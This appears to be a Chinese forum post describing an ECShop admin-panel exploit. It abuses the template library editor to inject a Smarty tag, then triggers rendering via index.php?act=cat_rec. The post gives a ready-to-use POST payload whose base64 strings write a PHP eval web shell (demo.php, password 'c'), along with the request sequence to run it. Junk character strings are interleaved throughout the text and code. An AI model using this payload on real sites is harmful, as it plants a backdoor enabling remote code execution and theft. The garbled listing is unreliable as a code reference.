Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

4 {1 o7 |6 q: l4 @  [4 j# e! n- e+ g而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
/ Y" z* U  f' s但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   
; k' M3 ^& M5 ]8 q3 s2 m
3 {
2 G2 y  C9 e; v5 T$ h" R- y
+ u- o# ^8 `8 ^9 i( J9 _4     check_authz_json('library_manage');

. W3 \! S) X# [  U5   
, Q; f$ R0 B7 d2 ?3 ]4 U9 i, ^
6     $html = stripslashes(json_str_iconv($_POST['html']));
! f( H$ q/ J( K& l# W
: l+ A" D; Q0 ]$ L- v3 {! @' K7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
1 w* v- ]4 r* j3 s
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
' {' v4 [- b7 L
11   
/ B+ S7 ^& T- b4 u& K0 u/ i
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

+ |3 A8 |: ^! Q  p5 \# h13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
' t4 N, U; p& ?7 q4 {( ?$ e# k$ D' V
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

4 B% r- w. Y$ {" P17         make_json_result('', $_LANG['update_lib_success']);
. S7 P; k1 R% k3 I
18     }

19     else
! O" M( H6 W: f# N" W1 P- j
, O# D! j3 X" @  X1 Z' y- |* U20     {
# v/ X1 y4 n: Z( Y' _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
0 B' K& D7 T+ G, P4 M: Q
22     }

23 }

那么找个比较方便调用了模板的文件
index.php

- R6 v) D1 n! x6 P8 i2 B- p1 if ($act == 'cat_rec')

2   

! F" n# e! J6 ]1 l3 {
% ]& w- O; ~% ]2 S  l
/ d" e) q1 u( `6 w# o% {4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# {& x6 f/ t3 e- _) b
" I4 O" J+ m6 y: q6   
- o  I5 T8 p* y- X& t
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

7 c2 h! S1 u  p4 Q8   
4 k4 |' W7 i0 j0 f- @3 n
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
* ?4 \2 A4 o+ h; W) {8 y! G
- d/ J* c+ U$ L: ]10   
" v) Z  B( N! m/ l& f, ?+ _
8 ~- d- U+ j& ]; h4 x1 w3 h1 d2 ^7 y4 R11     include_once('includes/cls_json.php');

; r7 c- J/ e$ p- M9 ~12   

13     $json = new JSON;

14   
; [, \5 l, N& _4 I* P
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

& T% v: j% u* d- t; Q: v8 t/ q16   

$ |, U% O5 t6 {  @- o17     $children = get_children($cat_id);
0 @$ m  {0 \3 y8 z
18   
. Q9 M' w% M0 G% s
" Y. j6 P" x" W& Q, W19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
  _( p( @' j9 x! r, O9 U
6 W$ j5 `5 ?3 i$ C. s( E20   
  F0 j4 m6 L8 Z: R5 T' E- C
21     $smarty->assign('cat_rec_sign', 1);

. _7 w# h* l- I22   
# x' ~% x" O; @5 Z8 {
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
6 }' c* q1 u, w" k3 I9 W; s
24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

/ Z# v+ h7 {5 u2 C3 i27         echo $rec_array[$rec_type];
2 b) {! N  f% f3 A0 X
6 J# E) d  B; o' U, M28   
7 q1 P3 O; N1 p; M+ \% ^
29     die($json->encode($result));

30   

( j' o' M8 m2 c- @' R31 }
3 H8 T8 ~% P+ I7 V  ]* @( ^4 J
那么就有利用方法了
0 [5 ^9 S5 r: p( U6 I7 ^$ Kpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
  ~/ g' J, a+ x. s1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

2 s7 k2 B- F! B8 L* H然后访问http://localhost/ec/index.php?act=cat_rec

/ n) g5 ]' z- A% O( pshel地址：http://localhost/ec/demo.php
密码c
# L* n  C4 C: p4 c- i
( n- L$ D* F) Q# V) _